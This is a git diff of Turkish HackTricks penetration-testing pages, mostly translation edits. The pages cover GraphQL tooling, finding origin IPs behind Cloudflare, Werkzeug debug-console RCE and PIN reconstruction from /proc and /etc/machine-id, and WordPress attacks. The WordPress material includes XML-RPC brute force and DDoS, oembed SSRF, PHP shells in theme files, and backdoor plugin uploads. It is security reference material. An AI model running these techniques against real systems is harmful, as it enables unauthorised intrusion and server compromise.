önerecektir. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar. +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla şemayı, introspection devre dışı olsa bile almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir. ### İstemciler @@ -569,9 +568,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### Otomatik Testler -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} -- AutoGraphQL'ü açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) +- AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Referanslar @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 7b16eb49c..fb14d866b 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -6,22 +6,22 @@ - Alan adının **tarihi DNS kayıtlarını** veren bir hizmet kullanabilirsiniz. Belki web sayfası daha önce kullanılan bir IP adresinde çalışıyordur. - **Tarihi SSL sertifikalarını** kontrol ederek de aynı sonuca ulaşabilirsiniz; bu sertifikalar orijinal IP adresine işaret ediyor olabilir. -- Ayrıca, **doğrudan IP'lere işaret eden diğer alt alan adlarının DNS kayıtlarını** kontrol edin; diğer alt alan adlarının aynı sunucuya işaret etmesi mümkündür (belki FTP, mail veya başka bir hizmet sunmak için). +- Ayrıca, doğrudan IP'lere işaret eden **diğer alt alan adlarının DNS kayıtlarını** kontrol edin; diğer alt alan adlarının aynı sunucuya işaret etmesi mümkündür (belki FTP, mail veya başka bir hizmet sunmak için). - Web uygulaması içinde bir **SSRF bulursanız**, bunu sunucunun IP adresini elde etmek için kötüye kullanabilirsiniz. - Shodan gibi tarayıcılarda web sayfasının benzersiz bir dizesini arayın (belki google ve benzerleri?). Belki bu içerikle bir IP adresi bulabilirsiniz. -- Benzer bir şekilde, benzersiz bir dize aramak yerine, aracı kullanarak favicon simgesini arayabilirsiniz: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) veya [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) -- Bu, sunucu IP adresiyle erişildiğinde aynı yanıtı göndermelidir, bu yüzden çok sık çalışmayabilir, ama asla bilemezsiniz. +- Benzer bir şekilde, benzersiz bir dize aramak yerine, [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) aracını veya [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) aracını kullanarak favicon simgesini arayabilirsiniz. +- Bu, sunucu IP adresiyle erişildiğinde aynı yanıtı göndermelidir, ancak asla bilemezsiniz. ## Cloudflare'ı Ortaya Çıkarmak için Araçlar -- Alan adını [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) veya [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) içinde arayın. Veya [CloudPeler](https://github.com/zidansec/CloudPeler) aracını kullanın (bu API'yi kullanır). +- Alan adını [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) veya [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) içinde arayın. Veya bu API'yi kullanan [CloudPeler](https://github.com/zidansec/CloudPeler) aracını kullanın. - Alan adını [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) içinde arayın. -- [**CloudFlair**](https://github.com/christophetd/CloudFlair), alan adını içeren Censys sertifikalarını kullanarak arama yapacak bir araçtır, ardından bu sertifikalar içindeki IPv4'leri arayacak ve nihayetinde bu IP'lerdeki web sayfasına erişmeye çalışacaktır. +- [**CloudFlair**](https://github.com/christophetd/CloudFlair), alan adını içeren Censys sertifikalarını kullanarak arama yapan bir araçtır, ardından bu sertifikalar içindeki IPv4'leri arar ve nihayetinde bu IP'lerdeki web sayfasına erişmeye çalışır. - [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r, Cloudflare ve diğer alternatifler tarafından korunan web sitelerinin gerçek IP adresini ortaya çıkarmak için titizlikle hazırlanmış güçlü bir Python aracıdır. Temel misyonu, Cloudflare'ın koruyucu kalkanının arkasında gizlenmiş web sunucularının gerçek IP adresini doğru bir şekilde belirlemektir. - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) -- Web sayfasının bulunduğu potansiyel IP'ler setine sahipseniz, [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) kullanabilirsiniz. +- Web sayfasının bulunduğu potansiyel IP'ler setine sahipseniz, [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) aracını kullanabilirsiniz. ```bash # You can check if the tool is working with prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one @@ -39,9 +39,11 @@ done Bu işlemin AWS makineleri için yapılmış olsa da, başka herhangi bir bulut sağlayıcısı için de yapılabileceğini unutmayın. -Bu sürecin daha iyi bir tanımı için kontrol edin: +Bu sürecin daha iyi bir tanımı için kontrol edin: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -70,7 +72,7 @@ Daha fazla bilgi [**burada**](https://socradar.io/cloudflare-protection-bypass-v ### Cloudflare IP Adreslerini Beyaz Listeye Alma -Bu, **Cloudflare’ın** IP adresi aralıklarından gelmeyen bağlantıları **reddedecektir**. Bu, bir saldırganın sadece **kendi alan adını Cloudflare'da** kurbanın **IP** adresine yönlendirmesi durumunda önceki kurulum için de savunmasızdır. +Bu, **Cloudflare’ın** IP adresi aralıklarından gelmeyen bağlantıları **reddedecektir**. Bu, bir saldırganın sadece **Cloudflare'da kendi alan adını** kurbanın **IP** adresine yönlendirmesi durumunda önceki kurulum için de savunmasızdır. Daha fazla bilgi [**burada**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/). @@ -128,9 +130,9 @@ Cloudflare'ın anti-bot önlemlerini tersine mühendislik yapmak, akıllı proxy **Avantajlar:** Bu yöntem, Cloudflare'ın kontrollerini hedef alan son derece verimli bir bypass oluşturulmasına olanak tanır, büyük ölçekli operasyonlar için idealdir. -**Dezavantajlar:** Dezavantajı, Cloudflare'ın kasıtlı olarak belirsiz anti-bot sistemini anlamak ve kandırmak için gereken karmaşıklıktır; bu, farklı stratejileri test etmek ve Cloudflare korumalarını artırdıkça bypass'ı güncellemek için sürekli çaba gerektirir. +**Dezavantajlar:** Dezavantajı, Cloudflare'ın kasıtlı olarak belirsiz anti-bot sistemini anlamak ve kandırmak için gereken karmaşıklıktır; bu, farklı stratejileri test etmek ve bypass'ı güncellemek için sürekli çaba gerektirir. -Bunu nasıl yapacağınız hakkında daha fazla bilgi [orijinal makalede](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) bulabilirsiniz. +Bunu nasıl yapacağınız hakkında daha fazla bilgi için [orijinal makaleye](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) bakın. ## Referanslar diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 4f39786f7..66404d88d 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -1,8 +1,7 @@ -# Werkzeug / Flask Debug +# Werkzeug / Flask Hata Ayıklama {{#include ../../banners/hacktricks-training.md}} - ## Konsol RCE Eğer hata ayıklama aktifse, `/console` adresine erişmeyi deneyebilir ve RCE elde edebilirsiniz. @@ -11,13 +10,13 @@ __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) -Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar bulunmaktadır veya metasploit'te bir tane. +Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç exploit veya metasploit'te bir tane var. ## Pin Koruması - Yol Geçişi Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz. -### Werkzeug Konsol PIN İstismarı +### Werkzeug Konsol PIN Açığı Bunu görmek için uygulamada bir hata sayfası zorlayın: ``` @@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişmeye çalışırken karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyası (`__init__.py`) içindeki PIN oluşturma algoritmasını analiz etme önerisi yapılır. PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya gezinti açığı aracılığıyla temin edilmesi tavsiye edilir. +"console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişim sağlanmaya çalışıldığında karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyası (`__init__.py`) içindeki PIN oluşturma algoritmasını analiz etme önerisi yapılmaktadır. PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya gezinti açığı aracılığıyla temin edilmesi tavsiye edilmektedir. Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_public_bits` ve `private_bits`: @@ -34,13 +33,13 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub - **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder. - **`modname`**: Genellikle `flask.app` olarak belirlenir. - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask** olarak çözülür. -- **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir. +- **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'ye giden tam yolu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir. #### **`private_bits`** - **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir. -- Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net//address`**'den MAC adresini **çıkarmak** gerekir. +- Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızdırarak cihaz kimliğini bulmak, ardından **`/sys/class/net//address`**'den MAC adresini **çıkarmak** gerekir. - Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir: ```python @@ -49,7 +48,7 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den alınan verileri, son eğik çizgiden (`/`) sonraki `/proc/self/cgroup`'un ilk satırıyla birleştirir. +- **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri, son eğik çizgiden (`/`) sonra `/proc/self/cgroup`'un ilk satırıyla birleştirir.
@@ -141,7 +140,7 @@ rv = num print(rv) ``` -Bu script, birleştirilmiş bitlerin hash'lenmesi, belirli tuzların (`cookiesalt` ve `pinsalt`) eklenmesi ve çıktının formatlanmasıyla PIN'i üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir. +Bu script, birleştirilmiş bitleri hashleyerek, belirli tuzlar (`cookiesalt` ve `pinsalt`) ekleyerek ve çıktıyı formatlayarak PIN üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir. > [!TIP] > Eğer **eski bir sürüm** Werkzeug kullanıyorsanız, **hashing algoritmasını md5** olarak değiştirmeyi deneyin. @@ -150,11 +149,13 @@ Bu script, birleştirilmiş bitlerin hash'lenmesi, belirli tuzların (`cookiesal [**bu sorun**](https://github.com/pallets/werkzeug/issues/2833)'da gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir. -Bu, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasındandır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** **bir sonraki HTTP isteği** olarak işlenecektir. +Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasıdır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** bir sonraki **HTTP isteği** olarak işlenecektir. ## Otomatik Sömürü -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} ## Referanslar diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 0b99de5df..dbc40a85e 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,50 +5,7 @@ ## Temel Bilgiler - **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - -- **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - -- **wp-config.php** dosyasında veritabanının root şifresini bulabilirsiniz. -- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - -### **Ana WordPress Dosyaları** - -- `index.php` -- `license.txt` WordPress'in kurulu versiyonu gibi yararlı bilgiler içerir. -- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır. -- Giriş klasörleri (gizlemek için yeniden adlandırılabilir): -- `/wp-admin/login.php` -- `/wp-admin/wp-login.php` -- `/login.php` -- `/wp-login.php` -- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. -- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir. -- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir. -- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir. -- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur. - -**Sonrası istismar** - -- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. - -### Kullanıcı İzinleri - -- **Yönetici** -- **Editör**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir -- **Yazar**: Kendi gönderilerini yayınlar ve yönetir -- **Katkıda Bulunan**: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz -- **Abone**: Gönderileri tarar ve profilini düzenler - -## **Pasif Sayım** - -### **WordPress sürümünü öğrenin** - -`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin. - -Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden): - -- grep +- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **tw ```bash curl https://victim.com/ | grep 'content="WordPress' ``` @@ -62,8 +19,6 @@ curl https://victim.com/ | grep 'content="WordPress' - JavaScript dosyaları -![](<../../images/image (524).png>) - ### Eklentileri Al ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,11 +36,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Eklentiler ve Temalar -Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif olarak Kaba Kuvvet ile denemeniz** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var). +Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var). ### Kullanıcılar -- **ID Kaba Kuvvet:** Bir WordPress sitesinden geçerli kullanıcıları Kaba Kuvvet ile kullanıcı ID'lerini deneyerek elde edersiniz: +- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları Brute Force ile kullanıcı ID'lerini alarak elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -107,7 +62,7 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir. ### XML-RPC -Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). +Eğer `xml-rpc.php` aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin: @@ -193,7 +148,7 @@ Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesi** için iste Eğer **faultCode** değeri **0**'dan **büyük** (17) ise, bu portun açık olduğu anlamına gelir. -Bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. +Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. **DDoS** ```markup @@ -217,17 +172,19 @@ Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklar ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek gönderebilir. +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir. -Bu çalışmadığında gelen yanıt: +Bu çalışmadığında alınan yanıt: ![](<../../images/image (365).png>) ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} -Bu araç **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer varsa, bunları istismar etmeye çalışır. +Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır. ## Automatic Tools ```bash @@ -237,7 +194,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Bir biti üzerine yazarak erişim elde etme -Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz. +Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakmak için değiştirebilirsiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -252,11 +209,11 @@ Bir php shell için içeriği değiştirin: ![](<../../images/image (384).png>) -Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +O güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -Şunu kullanabilirsiniz: +Kullanabilirsiniz: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -266,8 +223,8 @@ to get a session. ### PHP eklentisi -Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\ -Örneğin, php arka kapınızı oluşturun: +Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\ +Örneğin, php backdoor'unuzu oluşturun: ![](<../../images/image (183).png>) @@ -283,11 +240,11 @@ Devam'a tıklayın: ![](<../../images/image (70).png>) -Muhtemelen bu görünüşte hiçbir şey yapmayacak, ama Medya'ya giderseniz, yüklediğiniz shell'i göreceksiniz: +Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, shell'inizin yüklendiğini göreceksiniz: ![](<../../images/image (462).png>) -Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz: +Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz: ![](<../../images/image (1006).png>) @@ -302,18 +259,18 @@ Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesi 3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir. 4. **İstismar**: - "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir. -- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. +- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir. - Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir. -İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle yapılan penetrasyon testleri gibi sorumlu bir şekilde kullanılmalıdır. +İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle penetrasyon testi için kullanılmalıdır. **Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS'den RCE'ye -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** - _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur. -- _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin. +- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin. - _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin. - _**(RCE) Yerleşik Tema Düzenleme:**_ WordPress'teki Yerleşik Temaları düzenleyin. - _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar. @@ -336,7 +293,7 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi - **`wp_ajax`** -Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). +Bir eklentinin işlevleri 